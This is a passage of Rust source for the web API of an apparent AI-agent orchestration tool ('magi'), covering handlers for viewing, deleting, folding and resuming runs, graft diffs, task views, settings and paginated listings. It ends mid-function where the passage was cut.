4494            "id": id, "updated_at": state.updated_at, "live": live,
4495            "observed_at": Timestamp::now(),
4496            "progress": crate::run_progress::build(&state, live, waiting),
4497        })))
4498    })
4499    .await
4500}
4501
4502async fn run_detail(
4503    State(ui): State<Arc<Ui>>,
4504    Path(id): Path<String>,
4505) -> ApiResult<Json<RunDetailView>> {
4506    blocking(move || {
4507        let id = resolve_run(&ui.runs, &id)?;
4508        let state = read_run(&ui.runs, &id)?;
4509        let daemon_claims = crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
4510        let live = state.liveness(daemon_claims);
4511        crate::queue::record_ids(ui.questions.root(), "json")?;
4512        let waiting = ui
4513            .questions
4514            .list()
4515            .iter()
4516            .any(|q| q.run == id && q.status.open());
4517        let max_attempts = daemon::Opts::default().max_attempts;
4518
4519        let matching_task = ui.find_task_for_run(&id)?;
4520
4521        let superseded_by = state
4522            .pr_taken_over_by
4523            .clone()
4524            .or_else(|| {
4525                matching_task
4526                    .as_ref()
4527                    .and_then(|t| t.successor_of(&id).cloned())
4528            })
4529            .as_deref()
4530            .map(crate::run::short_of)
4531            .map(str::to_owned);
4532
4533        // Best-effort: an unreadable head (mid-write, or deleted) just means
4534        // this run's own status stands on its own, same as no later attempt
4535        // existing at all.
4536        let latest_attempt = matching_task
4537            .as_ref()
4538            .and_then(|t| t.runs.last().filter(|last| **last != id).cloned())
4539            .and_then(|head_id| {
4540                read_run(&ui.runs, &head_id).ok().map(|head| LatestAttempt {
4541                    short: head.short().to_owned(),
4542                    resolved: matches!(head.status, RunStatus::Merged | RunStatus::Ready),
4543                    status: head.status,
4544                    done: head.status.done(),
4545                    id: head.id,
4546                })
4547            });
4548
4549        let task = matching_task
4550            .map(|t| task_outcome(&t, &id, max_attempts, |r| read_run(&ui.runs, r).ok()));
4551
4552        Ok(Json(RunDetailView::of(
4553            state,
4554            waiting,
4555            live,
4556            superseded_by,
4557            latest_attempt,
4558            task,
4559        )))
4560    })
4561    .await
4562}
4563
4564/// `DELETE /api/runs/{id}`.
4565///
4566/// Remove a finished, folded run directory along with its artifacts.
4567/// Running runs and runs with unfolded candidate worktrees/branches cannot be
4568/// deleted. This never touches git worktrees or branches - except for a run
4569/// whose state this build cannot read at all, where there is no candidate
4570/// list to check and the wholesale removal `magi fold` already uses for that
4571/// case is the only meaningful "delete".
4572async fn run_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
4573    let (id, unreadable) = {
4574        let ui = Arc::clone(&ui);
4575        blocking(move || {
4576            let id = resolve_run(&ui.runs, &id)?;
4577            match read_run(&ui.runs, &id) {
4578                Ok(state) => {
4579                    let in_flight =
4580                        crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
4581                    state
4582                        .ensure_can_delete(in_flight)
4583                        .map_err(|e| ApiError::conflict(format!("{e:#}")))?;
4584                    let dir = ui.runs.join(&id);
4585                    std::fs::remove_dir_all(&dir)
4586                        .with_context(|| format!("remove run directory {}", dir.display()))?;
4587                    Ok((id, false))
4588                }
4589                Err(_) => {
4590                    // Unreadable: there is no candidate list to guard on, so
4591                    // a live daemon's claim is the only thing left to check -
4592                    // the same rule `run_fold` applies for the same reason.
4593                    if crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now()) {
4594                        return Err(ApiError::conflict(format!(
4595                            "run {id} is being worked on by a live daemon right now"
4596                        )));
4597                    }
4598                    Ok((id, true))
4599                }
4600            }
4601        })
4602        .await?
4603    };
4604    if unreadable {
4605        crate::clean::fold_unreadable(&ui.runs, &ui.worktrees_root, &id)
4606            .await
4607            .map_err(|e| ApiError::internal(format!("{e:#}")))?;
4608    }
4609    let ui = Arc::clone(&ui);
4610    let done = id.clone();
4611    blocking(move || {
4612        // The agent that asked died with the run, so an open question would
4613        // keep asking the operator for a decision nobody can deliver.
4614        ui.questions.abandon_for_run(
4615            &done,
4616            &format!("run {done} was deleted, so nothing is waiting for this answer"),
4617        )?;
4618        Ok(())
4619    })
4620    .await?;
4621    Ok(StatusCode::NO_CONTENT)
4622}
4623
4624/// `POST /api/runs/{id}/fold`.
4625///
4626/// Remove a run's candidate worktrees and branches, keeping its record.
4627///
4628/// This exists because the deck answered "delete this run" with *"Candidates
4629/// must be folded before deleting. Run `magi fold` first."* — a phone being
4630/// told to open a terminal, in the one product whose point is that it does
4631/// not need one. The runs an operator most wants gone are the stalled and
4632/// blocked ones, and those are exactly the runs still holding worktrees:
4633/// three of them here held 53 GB.
4634///
4635/// The winner's tree goes too. A fold is what someone asks for when they are
4636/// finished with a run, and leaving one tree behind would leave the delete
4637/// button disabled for the same reason as before.
4638///
4639/// Refused while a live daemon is working on the run, on the rule that guards
4640/// deletion: folding underneath a running agent would pull the tree it is
4641/// editing out from under it.
4642///
4643/// A run whose state this build cannot read at all falls back to
4644/// [`crate::clean::fold_unreadable`] - there is no candidate list to fold
4645/// selectively, so the whole record's worktree goes wholesale, exactly what
4646/// `magi fold` does on the command line for the same run.
4647async fn run_fold(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<Json<FoldView>> {
4648    let (id, state) = {
4649        let ui = Arc::clone(&ui);
4650        blocking(move || {
4651            let id = resolve_run(&ui.runs, &id)?;
4652            if crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now()) {
4653                return Err(ApiError::conflict(format!(
4654                    "run {id} is being worked on by a live daemon right now"
4655                )));
4656            }
4657            let state = read_run(&ui.runs, &id).ok();
4658            Ok((id, state))
4659        })
4660        .await?
4661    };
4662    let removed = match state {
4663        Some(mut state) => {
4664            let removed = crate::graph::fold_run(&mut state, true, &ui.home)
4665                .await
4666                .map_err(|e| ApiError::internal(format!("{e:#}")))?;
4667            // Nothing left to remove is not the same thing as nothing left to
4668            // do — see `clean::clear_abandoned_active`'s own doc for the run
4669            // this exists for: worktrees already gone, but a killed process
4670            // left active seats nobody will ever answer for.
4671            if removed.is_empty() {
4672                crate::clean::clear_abandoned_active(&mut state, &ui.home, jiff::Timestamp::now())
4673                    .map_err(|e| ApiError::internal(format!("{e:#}")))?;
4674            }
4675            removed
4676        }
4677        None => crate::clean::fold_unreadable(&ui.runs, &ui.worktrees_root, &id)
4678            .await
4679            .map_err(|e| ApiError::internal(format!("{e:#}")))?,
4680    };
4681    Ok(Json(FoldView {
4682        run: id,
4683        removed_count: removed.len(),
4684        removed,
4685    }))
4686}
4687
4688/// What a fold took away, so the deck can say so rather than only re-render.
4689#[derive(Debug, Serialize)]
4690struct FoldView {
4691    run: String,
4692    /// Worktree paths and branch names removed, in the order they went.
4693    removed: Vec<String>,
4694    removed_count: usize,
4695}
4696
4697/// `POST /api/runs/{id}/fold-merged` body: the pull request the operator
4698/// merged outside of `land::land`'s own loop.
4699#[derive(Debug, Deserialize)]
4700struct FoldMergedBody {
4701    #[serde(default)]
4702    pr_url: String,
4703}
4704
4705/// `POST /api/runs/{id}/fold-merged`.
4706///
4707/// The phone-reachable form of `magi fold --merged <pr-url>`: a run stuck
4708/// `Blocked` with `merge: null` because magi never got as far as opening a
4709/// pull request of its own (a title over GitHub's length limit, `gh pr
4710/// create` unreachable, a stale token), which the operator then finished by
4711/// hand on a pull request magi never recorded. The "Run actions" sheet used
4712/// to have no way to tell it about that pull request short of a terminal and
4713/// `magi fold --merged` — see `land::correct_manual_merge`'s own doc for why
4714/// this exists and what it deliberately does not do (`bump::after_merge`).
4715///
4716/// Refused, like [`run_fold`], while a live daemon is working on the run: the
4717/// correction rewrites the same `status`/`merge` fields a running graph would
4718/// be writing to on its own.
4719///
4720/// Unlike [`run_resume`] this does not return 202: it makes at most two `gh`
4721/// calls plus a fold, seconds of work, and the phone should get its answer
4722/// (which pull request it recorded, and what changed) in the same round
4723/// trip rather than learning it from the change stream.
4724async fn run_fold_merged(
4725    State(ui): State<Arc<Ui>>,
4726    Path(id): Path<String>,
4727    Json(body): Json<FoldMergedBody>,
4728) -> ApiResult<Json<FoldMergedView>> {
4729    let pr_url = body.pr_url.trim().to_owned();
4730    if pr_url.is_empty() {
4731        return Err(ApiError::bad_request("pr_url is required"));
4732    }
4733    let (id, mut state) = {
4734        let ui = Arc::clone(&ui);
4735        blocking(move || {
4736            let id = resolve_run(&ui.runs, &id)?;
4737            if crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now()) {
4738                return Err(ApiError::conflict(format!(
4739                    "run {id} is being worked on by a live daemon right now"
4740                )));
4741            }
4742            let state = read_run(&ui.runs, &id)?;
4743            Ok((id, state))
4744        })
4745        .await?
4746    };
4747    let (before, after) = crate::land::correct_manual_merge(&mut state, &pr_url)
4748        .await
4749        .map_err(|e| ApiError::bad_request(format!("{e:#}")))?;
4750    let removed = crate::graph::fold_run(&mut state, true, &ui.home)
4751        .await
4752        .map_err(|e| ApiError::internal(format!("{e:#}")))?;
4753    Ok(Json(FoldMergedView {
4754        run: id,
4755        before: before.as_str().to_owned(),
4756        after: after.as_str().to_owned(),
4757        removed,
4758    }))
4759}
4760
4761/// What [`run_fold_merged`] did, so the deck can say so.
4762#[derive(Debug, Serialize)]
4763struct FoldMergedView {
4764    run: String,
4765    /// `status` before the correction — normally `"blocked"`.
4766    before: String,
4767    /// `status` after — normally `"merged"`.
4768    after: String,
4769    /// Worktree paths and branch names the trailing fold removed.
4770    removed: Vec<String>,
4771}
4772
4773/// `POST /api/runs/{id}/resume`.
4774///
4775/// Carry a stalled run on from where it stopped, in the background.
4776///
4777/// A stalled card says "the work is kept" and used to offer no way to act on
4778/// that: the candidates are built and paid for, and continuing means re-asking
4779/// only the seats whose absence collapsed the panel. The alternative an
4780/// operator actually had was releasing the task, which competes three fresh
4781/// implementations against work that already exists.
4782///
4783/// **202, not 200.** A resume runs agents for minutes; holding the connection
4784/// is the mistake `POST /api/talks/{id}/say` already made and had fixed. The
4785/// phone learns the outcome from the change stream.
4786///
4787/// Refused when the loop is running at all, not merely when it is on this run.
4788/// The scarce resource is the agent CLIs' quota, and a tap that quietly
4789/// started a second graph on top of whatever the loop is already driving —
4790/// one run by default, or as many as `Config::daemon.max_concurrent_runs`
4791/// allows — would spend that quota twice over for no extra throughput.
4792async fn run_resume(
4793    State(ui): State<Arc<Ui>>,
4794    Path(id): Path<String>,
4795) -> ApiResult<(StatusCode, Json<RunSummary>)> {
4796    let admission = ui.begin_admission()?;
4797    admitted(admission, async move {
4798        let (id, state) = {
4799            let ui = Arc::clone(&ui);
4800            blocking(move || {
4801                let id = resolve_run(&ui.runs, &id)?;
4802                let state = read_run(&ui.runs, &id)?;
4803                Ok((id, state))
4804            })
4805            .await?
4806        };
4807        crate::resume::validate_unqueued(&ui.home, &id)
4808            .map_err(|e| ApiError::conflict(e.to_string()))?;
4809        let _resume = ui.begin_resume(&id)?;
4810
4811        crate::resume::start(&ui.home, id.clone())
4812            .await
4813            .map_err(ApiError::from)?;
4814        // The same shape the list route returns, so the phone updates the card it
4815        // already has rather than learning a second schema for one button.
4816        let queued = RunSummary::of(
4817            &state,
4818            !ui.questions.open_for(&id).is_empty(),
4819            state.liveness(daemon::is_working_on(&ui.home, &id, Timestamp::now())),
4820        );
4821        Ok((StatusCode::ACCEPTED, Json(queued)))
4822    })
4823    .await
4824}
4825
4826async fn run_report(
4827    State(ui): State<Arc<Ui>>,
4828    Path(id): Path<String>,
4829) -> ApiResult<impl IntoResponse> {
4830    let text = blocking(move || {
4831        let id = resolve_run(&ui.runs, &id)?;
4832        // Colour is off for the whole process, set once in `serve`. Rendering
4833        // is CPU work over the full state, which is the other reason this is
4834        // not on the executor.
4835        let state = read_run(&ui.runs, &id)?;
4836        let daemon_claims = crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
4837        let live = state.liveness(daemon_claims);
4838        Ok(format!(
4839            "{}{}",
4840            report::run(&state),
4841            report::active_seats(&state, live)
4842        ))
4843    })
4844    .await?;
4845    Ok(([(header::CONTENT_TYPE, "text/plain; charset=utf-8")], text))
4846}
4847
4848/// The structured twin of [`run_report`]: the same state, as sections the UI
4849/// draws as cards. An unreadable run answers with the same error the text
4850/// route does; it is never turned into an empty report.
4851async fn run_report_json(
4852    State(ui): State<Arc<Ui>>,
4853    Path(id): Path<String>,
4854) -> ApiResult<Json<crate::report_view::RunReportView>> {
4855    let view = blocking(move || {
4856        let id = resolve_run(&ui.runs, &id)?;
4857        let state = read_run(&ui.runs, &id)?;
4858        let daemon_claims = crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
4859        // Only a record that lacks the structured details reads `artifacts/`.
4860        let recovered = state.graft.as_ref().map(|_| {
4861            crate::graft_report::recover(&state, &crate::agent::artifacts_dir(&state.dir()))
4862        });
4863        Ok(crate::report_view::build_with(
4864            &state,
4865            state.liveness(daemon_claims),
4866            recovered.as_ref(),
4867        ))
4868    })
4869    .await?;
4870    Ok(Json(view))
4871}
4872
4873/// Archive access uses validated run-owned records, never a request-supplied path.
4874async fn run_seat_evidence(
4875    State(ui): State<Arc<Ui>>,
4876    Path(id): Path<String>,
4877) -> ApiResult<impl IntoResponse> {
4878    let id = resolve_run(&ui.runs, &id)?;
4879    let heads = crate::retention::seat_heads(&ui.home, &id)
4880        .await
4881        .map_err(|e| ApiError::not_found(format!("seat evidence unavailable: {e:#}")))?;
4882    Ok(Json(heads))
4883}
4884
4885async fn run_seat_diff(
4886    State(ui): State<Arc<Ui>>,
4887    Path((id, head)): Path<(String, String)>,
4888) -> ApiResult<impl IntoResponse> {
4889    let id = resolve_run(&ui.runs, &id)?;
4890    let patch = crate::retention::seat_diff(&ui.home, &id, &head)
4891        .await
4892        .map_err(|e| ApiError::not_found(format!("seat evidence unavailable: {e:#}")))?;
4893    Ok((
4894        [
4895            (header::CONTENT_TYPE, "text/plain; charset=utf-8"),
4896            (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
4897        ],
4898        patch,
4899    ))
4900}
4901
4902/// Most of a graft diff the route returns.
4903const GRAFT_DIFF_MAX: usize = 400 * 1024;
4904/// How long `git diff` may run.
4905const GRAFT_DIFF_TIMEOUT: Duration = Duration::from_secs(15);
4906
4907/// The graft's own patch: recorded `pre` against recorded `post`. Both SHAs
4908/// come from the run record, never from the request.
4909async fn run_graft_diff(
4910    State(ui): State<Arc<Ui>>,
4911    Path(id): Path<String>,
4912) -> ApiResult<impl IntoResponse> {
4913    let (repo, pre, post) = blocking(move || {
4914        let id = resolve_run(&ui.runs, &id)?;
4915        let state = read_run(&ui.runs, &id)?;
4916        let g = state
4917            .graft
4918            .as_ref()
4919            .ok_or_else(|| ApiError::not_found("this run has no graft"))?;
4920        let post = g
4921            .post
4922            .clone()
4923            .ok_or_else(|| ApiError::not_found("the graft recorded no post-graft commit"))?;
4924        Ok((state.repo.clone(), g.pre.clone(), post))
4925    })
4926    .await?;
4927    let hex = |s: &str| (4..=64).contains(&s.len()) && s.chars().all(|c| c.is_ascii_hexdigit());
4928    if !hex(&pre) || !hex(&post) {
4929        return Err(ApiError::not_found("the recorded commits are not valid"));
4930    }
4931    let out = tokio::time::timeout(
4932        GRAFT_DIFF_TIMEOUT,
4933        crate::git::git_raw(
4934            &repo,
4935            &[
4936                "diff",
4937                "--no-color",
4938                "--no-ext-diff",
4939                "-M",
4940                &pre,
4941                &post,
4942                "--",
4943            ],
4944        ),
4945    )
4946    .await
4947    .map_err(|_| ApiError::not_found("git diff timed out"))?
4948    .map_err(|e| ApiError::not_found(format!("git diff failed: {e:#}")))?;
4949    if out.code != Some(0) {
4950        return Err(ApiError::not_found(
4951            "the recorded commits are no longer in the repository",
4952        ));
4953    }
4954    let mut body = out.stdout;
4955    if body.len() > GRAFT_DIFF_MAX {
4956        let mut cut = GRAFT_DIFF_MAX;
4957        while !body.is_char_boundary(cut) {
4958            cut -= 1;
4959        }
4960        body.truncate(cut);
4961        body.push_str("\n... diff truncated ...");
4962    }
4963    Ok((
4964        [
4965            (header::CONTENT_TYPE, "text/plain; charset=utf-8"),
4966            (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
4967        ],
4968        body,
4969    ))
4970}
4971
4972/// A task as the UI sees it.
4973///
4974/// The whole task, plus the two things the client would otherwise have to
4975/// reimplement: the human-readable source and the status string. Nothing is
4976/// removed - the phone shows `last_error` and the run history verbatim.
4977#[derive(Debug, Serialize)]
4978struct TaskView {
4979    #[serde(flatten)]
4980    task: Task,
4981    source_label: String,
4982    reassignment_notes: Vec<String>,
4983    source_link: Option<SourceLink>,
4984    status_str: &'static str,
4985    /// Fixed scheduling lane, ahead of ordinary priority order.
4986    upgrade_resume_at: Option<Timestamp>,
4987    /// The instruction, parsed as markdown, for the Queue card's "Full
4988    /// instruction" panel. `task.instruction` is unchanged and still carries
4989    /// the raw text.
4990    instruction_md: Vec<md::Node>,
4991    /// For a blocked task, what it waits on with each dependency's state, e.g.
4992    /// `4135 (blocked → 9db7 held)`. Built server-side so the client never
4993    /// recurses; empty for every other status.
4994    waits_on: Vec<String>,
4995    /// Short ids of the held (or cyclic) tasks a blocked task is frozen
4996    /// behind - non-empty means nothing in the loop will ever run it.
4997    stuck_roots: Vec<String>,
4998    blockers: Vec<crate::blockers::BlockerView>,
4999    recovery: Option<String>,
5000}
5001
5002impl From<Task> for TaskView {
5003    fn from(task: Task) -> Self {
5004        Self {
5005            source_label: task.source.label(),
5006            reassignment_notes: Vec::new(),
5007            source_link: source_link(&task.source),
5008            status_str: task.status.as_str(),
5009            upgrade_resume_at: task.upgrade_resume_key().map(|(at, _)| at),
5010            instruction_md: md::to_nodes(&task.instruction, &md::ImageBase::None),
5011            waits_on: Vec::new(),
5012            stuck_roots: Vec::new(),
5013            blockers: Vec::new(),
5014            recovery: task_recovery(&task),
5015            task,
5016        }
5017    }
5018}
5019
5020impl TaskView {
5021    fn with_recovery_decisions(mut self, questions: &ask::Questions) -> Self {
5022        if matches!(self.task.status, TaskStatus::Held | TaskStatus::Blocked) {
5023            let pending = crate::blockers::Inventory::recovery_views(&self.task, questions);
5024            if !pending.is_empty() {
5025                self.recovery = Some(format!(
5026                    "Recovery decisions are pending. Resolve or apply them through the existing controls below before triage can reconsider recovery. Disk recovery alone will not resume this task. {}",
5027                    self.recovery.as_deref().unwrap_or_default()
5028                ));
5029            }
5030            for decision in pending {
5031                self.blockers.retain(|view| view.id != decision.id);
5032                self.blockers.push(decision);
5033            }
5034        }
5035        self
5036    }
5037
5038    fn with_inventory(task: Task, inv: &crate::blockers::Inventory) -> Self {
5039        let waits_on = inv.waits_on(&task);
5040        let stuck_roots = inv
5041            .stuck_roots(&task)
5042            .iter()
5043            .map(|r| r.rsplit('-').next().unwrap_or(r).to_owned())
5044            .collect();
5045        Self {
5046            blockers: inv.blocker_views(&task),
5047            waits_on,
5048            stuck_roots,
5049            ..Self::from(task)
5050        }
5051    }
5052}
5053
5054fn task_recovery(task: &Task) -> Option<String> {
5055    use crate::queue::{HoldSource, TaskStatus};
5056    if !matches!(task.status, TaskStatus::Blocked | TaskStatus::Held) {
5057        return None;
5058    }
5059    let mut text = String::new();
5060    if task.status == TaskStatus::Blocked {
5061        text.push_str("Resolve each dependency below through its supported controls. Hold overrides this dependency wait and clears its dependency references. A later Release can queue the task even if those dependencies are unfinished; Hold does not resolve them. ");
5062        let restored = match task.blocked_from {
5063            Some(TaskStatus::Running) => TaskStatus::Queued,
5064            Some(status) => status,
5065            None if task.hold_reason.is_some() || task.hold_source.is_some() => TaskStatus::Held,
5066            None => TaskStatus::Queued,
5067        };
5068        text.push_str(&format!(
5069            "After all dependencies resolve, the scheduler restores {}. ",
5070            restored.as_str()
5071        ));
5072        if restored != TaskStatus::Held {
5073            return Some(text);
5074        }
5075    }
5076    text.push_str(match task.hold_source {
5077        Some(HoldSource::Manual) => "Manual hold: an operator must explicitly Release when ready.",
5078        Some(HoldSource::Machine) if task.has_disk_capacity_cause() || crate::triage::disk_wait_eligible(task) =>
5079            "Disk wait (automatically monitored): the same task resumes when disk floors and output reservations permit. Recorded figures describe the hold time, not current capacity; triage rechecks admission automatically. Untouched automatic disk triage questions are superseded without an owner answer; owner decisions and unrelated approvals still require explicit resolution.",
5080        Some(HoldSource::Machine) => "Machine hold: triage rechecks supported recovery conditions; otherwise resolve the recovery decision in the owning task chat.",
5081        None => "Hold origin unknown: inspect the recorded reason and task chat before explicitly releasing.",
5082    });
5083    Some(text)
5084}
5085
5086/// `?refresh=1` forces a re-scan even inside the TTL. Any other value, or
5087/// its absence, leaves the cache to decide.
5088#[derive(Debug, Default, Deserialize)]
5089#[serde(default)]
5090struct ReposQuery {
5091    refresh: u8,
5092}
5093
5094/// `GET /api/repos` - local checkouts found under `[repos] roots`, the same
5095/// listing `magi repos` prints at a terminal.
5096///
5097/// Reads `[repos] roots` and `[repos] scan_ttl` discovered against `ui.repo`
5098/// so an edit to `magi.toml` takes effect without a restart, the same
5099/// reasoning [`config_for`] documents for the talk routes.
5100async fn repos_list(
5101    State(ui): State<Arc<Ui>>,
5102    Query(q): Query<ReposQuery>,
5103) -> ApiResult<Json<Vec<repos::Repo>>> {
5104    let refresh = q.refresh != 0;
5105    blocking(move || {
5106        let (cfg, _) = Config::discover(&ui.repo, None)?;
5107        Ok(Json(ui.repos_cache.list(
5108            &cfg.repos.roots,
5109            Duration::from_secs(cfg.repos.scan_ttl),
5110            refresh,
5111        )))
5112    })
5113    .await
5114}
5115
5116/// Optional context, restricted to the server's known checkouts.
5117#[derive(Debug, Default, Deserialize)]
5118struct SettingsQuery {
5119    repo: Option<PathBuf>,
5120}
5121
5122/// Always discover against the server's original context, never the selection.
5123/// If that config is broken, retain the default context and machine-only roots
5124/// so the settings error contract and recovery picker remain available.
5125fn settings_repositories(ui: &Ui, refresh: bool) -> Vec<repos::Repo> {
5126    let cfg = settings::repository_config(&ui.repo, ui.machine_config.as_deref()).or_else(|_| {
5127        let paths: Vec<PathBuf> = ui
5128            .machine_config
5129            .iter()
5130            .filter(|p| p.is_file())
5131            .cloned()
5132            .collect();
5133        if paths.is_empty() {
5134            Ok(Config::autodetected())
5135        } else {
5136            Config::load_layers(&paths)
5137        }
5138    });
5139    let mut known = cfg
5140        .map(|cfg| {
5141            ui.repos_cache.list(
5142                &cfg.repos.roots,
5143                Duration::from_secs(cfg.repos.scan_ttl),
5144                refresh,
5145            )
5146        })
5147        .unwrap_or_default();
5148    let path = ui.repo.canonicalize().unwrap_or_else(|_| ui.repo.clone());
5149    if !known.iter().any(|r| r.path == path) {
5150        known.push(repos::Repo {
5151            name: path
5152                .file_name()
5153                .unwrap_or_default()
5154                .to_string_lossy()
5155                .into_owned(),
5156            path,
5157        });
5158    }
5159    known
5160}
5161
5162fn settings_context(ui: &Ui, q: SettingsQuery) -> ApiResult<(PathBuf, Vec<repos::Repo>)> {
5163    let requested = q.repo.unwrap_or_else(|| ui.repo.clone());
5164    let canonical = requested.canonicalize().ok();
5165    let mut known = settings_repositories(ui, false);
5166    let matches = |r: &repos::Repo| canonical.as_ref().is_some_and(|p| p == &r.path);
5167    if !known.iter().any(matches) {
5168        known = settings_repositories(ui, true);
5169    }
5170    let repo = known
5171        .iter()
5172        .find(|r| matches(r))
5173        .map(|r| r.path.clone())
5174        .ok_or_else(|| ApiError {
5175            text_reason: None,
5176            status: StatusCode::UNPROCESSABLE_ENTITY,
5177            message: "Choose a known repository from the Settings selector.".to_owned(),
5178        })?;
5179    Ok((repo, known))
5180}
5181
5182/// `GET /api/settings` - the effective role assignments and roster, with the
5183/// layer each came from. A config that fails to load answers 200 with an
5184/// `error`, so the screen can say so instead of drawing empty lists.
5185async fn settings_get(
5186    State(ui): State<Arc<Ui>>,
5187    Query(q): Query<SettingsQuery>,
5188) -> ApiResult<Json<settings::SettingsView>> {
5189    blocking(move || {
5190        let (repo, known) = settings_context(&ui, q)?;
5191        Ok(Json(settings::view_with_repos(
5192            &repo,
5193            ui.machine_config.as_deref(),
5194            &known,
5195        )))
5196    })
5197    .await
5198}
5199
5200/// The body of `PUT /api/settings/roles`.
5201#[derive(Debug, Deserialize)]
5202#[serde(deny_unknown_fields)]
5203struct RolesBody {
5204    /// The `revision` the client last read.
5205    revision: String,
5206    /// Role key to its new ids; an empty list resets the key to its default.
5207    #[serde(default)]
5208    roles: std::collections::BTreeMap<String, Vec<String>>,
5209    /// Role key (`implementers`, `judges`, `reviewers`, `advisors`) to its new
5210    /// `[graph]` seat count. Kept as raw JSON so a non-integer is refused in
5211    /// words (422) instead of as a deserialization error.
5212    #[serde(default)]
5213    counts: std::collections::BTreeMap<String, serde_json::Value>,
5214}
5215
5216/// `PUT /api/settings/roles` - save role assignments to the machine config.
5217///
5218/// The write target is `ui.machine_config` and nothing in the body can change
5219/// it. A stale `revision` is a 409; anything the re-loaded config rejects is a
5220/// 422 with the reason in words.
5221async fn settings_put_roles(
5222    State(ui): State<Arc<Ui>>,
5223    Query(q): Query<SettingsQuery>,
5224    body: std::result::Result<Json<RolesBody>, JsonRejection>,
5225) -> ApiResult<Json<settings::SettingsView>> {
5226    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
5227    blocking(move || {
5228        let (repo, known) = settings_context(&ui, q)?;
5229        settings::save_with_repos(
5230            &repo,
5231            ui.machine_config.as_deref(),
5232            &body.revision,
5233            &body.roles,
5234            &body.counts,
5235            &known,
5236        )
5237        .map(Json)
5238        .map_err(|e| match e {
5239            settings::SaveError::Conflict(m) => ApiError::conflict(m),
5240            settings::SaveError::Refused(m) => ApiError {
5241                text_reason: None,
5242                status: StatusCode::UNPROCESSABLE_ENTITY,
5243                message: m,
5244            },
5245            settings::SaveError::Internal(m) => ApiError::internal(m),
5246        })
5247    })
5248    .await
5249}
5250
5251async fn queue_list(
5252    State(ui): State<Arc<Ui>>,
5253    Query(q): Query<ListQuery>,
5254) -> ApiResult<Json<Vec<TaskView>>> {
5255    blocking(move || {
5256        let tasks = ui.queue.list();
5257        let inv =
5258            crate::blockers::Inventory::load_with_tasks(&ui.queue, &ui.questions, tasks.clone());
5259        Ok(Json(
5260            tasks
5261                .into_iter()
5262                .filter(|t| q.contains(&t.id) || t.status == crate::queue::TaskStatus::Blocked)
5263                .map(|t| TaskView::with_inventory(t, &inv))
5264                .collect(),
5265        ))
5266    })
5267    .await
5268}
5269
5270/// History pages read a bounded number of records; the first conversation
5271/// page also includes every open talk. Cursors advance through a frozen snapshot,
5272/// including corrupt rows, so skipped/deleted records cannot repeat a page.
5273/// Concurrent inserts are reconciled by a trailing store refresh.
5274#[derive(Debug, Default, Deserialize)]
5275struct PageQuery {
5276    before: Option<String>,
5277}
5278
5279#[derive(Serialize)]
5280struct StorePage<T> {
5281    rows: Vec<T>,
5282    next: Option<String>,
5283}
5284
5285const STORE_PAGE_SIZE: usize = 16;
5286
5287/// Freeze membership and the initial open/history boundary for a cursor walk.
5288/// Returned rows are read fresh; writes/deletions during the walk are reconciled by
5289/// the next store revision. Never rescan the entire directory for every page.
5290#[derive(Debug)]
5291struct ListWalk {
5292    token: u64,
5293    talks: bool,
5294    opened: std::time::Instant,
5295    ids: Arc<Vec<String>>,
5296    initial_end: usize,
5297}
5298
5299fn page_ids(ui: &Ui, talks: bool, q: PageQuery) -> ApiResult<(Vec<String>, Option<String>)> {
5300    page_ids_with(ui, talks, q, open_talk_ids)
5301}
5302
5303fn page_ids_with(
5304    ui: &Ui,
5305    talks: bool,
5306    q: PageQuery,
5307    classify: impl FnOnce(&Ui, &[String]) -> std::collections::HashSet<String>,
5308) -> ApiResult<(Vec<String>, Option<String>)> {
5309    let mut walks = ui
5310        .monitor
5311        .list_walks
5312        .lock()
5313        .unwrap_or_else(PoisonError::into_inner);
5314    walks.retain(|walk| walk.opened.elapsed() < Duration::from_secs(120));
5315    let (token, ids, offset, initial_end) = if let Some(cursor) = q.before {
5316        let (token, offset) = cursor
5317            .split_once(':')
5318            .ok_or_else(|| ApiError::bad_request("Invalid list cursor"))?;
5319        let token = token
5320            .parse::<u64>()
5321            .map_err(|_| ApiError::bad_request("Invalid list cursor"))?;
5322        let offset = offset
5323            .parse::<usize>()
5324            .map_err(|_| ApiError::bad_request("Invalid list cursor"))?;
5325        let walk = walks
5326            .iter()
5327            .find(|walk| walk.token == token && walk.talks == talks)
5328            .ok_or_else(|| ApiError::conflict("List cursor expired; retry the list"))?;
5329        (token, walk.ids.clone(), offset, walk.initial_end)
5330    } else {
5331        // Header I/O must not hold the snapshot registry shared with queue
5332        // pagination or with clients continuing an existing history walk.
5333        drop(walks);
5334        let root = if talks {
5335            ui.talks.root()
5336        } else {
5337            ui.queue.root()
5338        };
5339        let mut ids = crate::queue::record_ids(root, "json")?;
5340        ids.sort_unstable_by(|a, b| b.cmp(a));
5341        let initial_end = if talks {
5342            let open = classify(ui, &ids);
5343            // Stable partition: ID order is only the existing membership order,
5344            // never a substitute for the UI's creation-time ordering.
5345            ids.sort_by_key(|id| !open.contains(id));
5346            open.len().saturating_add(STORE_PAGE_SIZE).min(ids.len())
5347        } else {
5348            STORE_PAGE_SIZE.min(ids.len())
5349        };
5350        let ids = Arc::new(ids);
5351        walks = ui
5352            .monitor
5353            .list_walks
5354            .lock()
5355            .unwrap_or_else(PoisonError::into_inner);
5356        walks.retain(|walk| walk.opened.elapsed() < Duration::from_secs(120));
5357        let mut token = crate::rng::entropy();
5358        while walks.iter().any(|walk| walk.token == token) {
5359            token = crate::rng::entropy();
5360        }
5361        // Four clients can enumerate both stores and overlap a refresh. Bound
5362        // retained membership snapshots; an evicted cursor explicitly retries.
5363        if walks.len() >= 16 {
5364            walks.remove(0);
5365        }
5366        walks.push(ListWalk {
5367            token,
5368            talks,
5369            opened: std::time::Instant::now(),
5370            ids: ids.clone(),
5371            initial_end,
5372        });
5373        (token, ids, 0, initial_end)
5374    };
5375    if offset > ids.len() {
